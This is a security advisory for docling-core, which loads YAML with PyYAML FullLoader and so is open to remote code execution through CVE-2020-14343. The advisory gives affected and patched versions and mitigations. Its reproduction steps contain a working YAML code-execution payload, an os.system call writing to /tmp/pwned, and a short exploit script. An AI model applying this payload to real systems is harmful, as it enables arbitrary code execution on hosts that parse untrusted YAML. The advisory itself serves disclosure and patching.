# GHSA-vqxf-v2gg-x3hc

## Summary

docling-core uses PyYAML FullLoader in DoclingDocument.load_from_yaml, allowing RCE when parsing untrusted YAML with PyYAML <5.4.

## Description

## Summary
A remote code execution risk exists in docling-core when loading untrusted YAML via `docling_core.types.doc.DoclingDocument.load_from_yaml()` in versions 2.21.0 to 2.48.3, if PyYAML <5.4 is installed. The method uses `yaml.FullLoader`, enabling exploitation of PyYAML CVE-2020-14343. The issue is fixed in 2.48.4 by switching to `yaml.SafeLoader`.

## Affected Package
- **Name:** docling-core
- **Ecosystem:** pip
- **Vulnerable versions:** >= 2.21.0, < 2.48.4
- **Patched version:** 2.48.4

## Details
The advisory indicates that docling-core exposes the PyYAML deserialization flaw (CVE-2020-14343) when `DoclingDocument.load_from_yaml()` is invoked on untrusted YAML with PyYAML <5.4. In those conditions, `yaml.FullLoader` can construct arbitrary Python objects, leading to RCE. The fix changes the loader to `yaml.SafeLoader`, preventing unsafe object construction.

## Reproduction Steps
> Preconditions: docling-core 2.21.0–2.48.3 installed and PyYAML <5.4 installed.

1. Create a virtual environment and install vulnerable versions:
   ```bash
   python -m venv venv
   source venv/bin/activate
   pip install "docling-core<2.48.4" "PyYAML<5.4"
   ```
2. Create a malicious YAML payload that triggers unsafe object construction (per CVE-2020-14343). Example (known PyYAML unsafe tag):
   ```yaml
   !!python/object/apply:os.system ["id > /tmp/pwned"]
   ```
3. Write a small script that calls `DoclingDocument.load_from_yaml()` with the untrusted YAML:
   ```python
   from docling_core.types.doc import DoclingDocument

   payload = open("payload.yaml", "r").read()
   DoclingDocument.load_from_yaml(payload)
   ```
4. Execute the script:
   ```bash
   python exploit.py
   ```

## Indicators of Success
- The command from the YAML payload is executed (e.g., `/tmp/pwned` is created with expected contents).
- No exception is thrown preventing execution when using vulnerable versions with PyYAML <5.4.

## Mitigations
- Upgrade to docling-core 2.48.4 or later.
- Alternatively, ensure PyYAML >=5.4 is installed to mitigate CVE-2020-14343.

## References
- https://github.com/advisories/GHSA-VQXF-V2GG-X3HC
- https://nvd.nist.gov/vuln/detail/CVE-2026-24009
- https://github.com/docling-project/docling-core/releases/tag/v2.48.4
- https://github.com/docling-project/docling-core/issues/482
- https://github.com/docling-project/docling-core/commit/3e8d628eeeae50f0f8f239c8c7fea773d065d80c
- https://github.com/advisories/GHSA-8q59-q68h-6hv4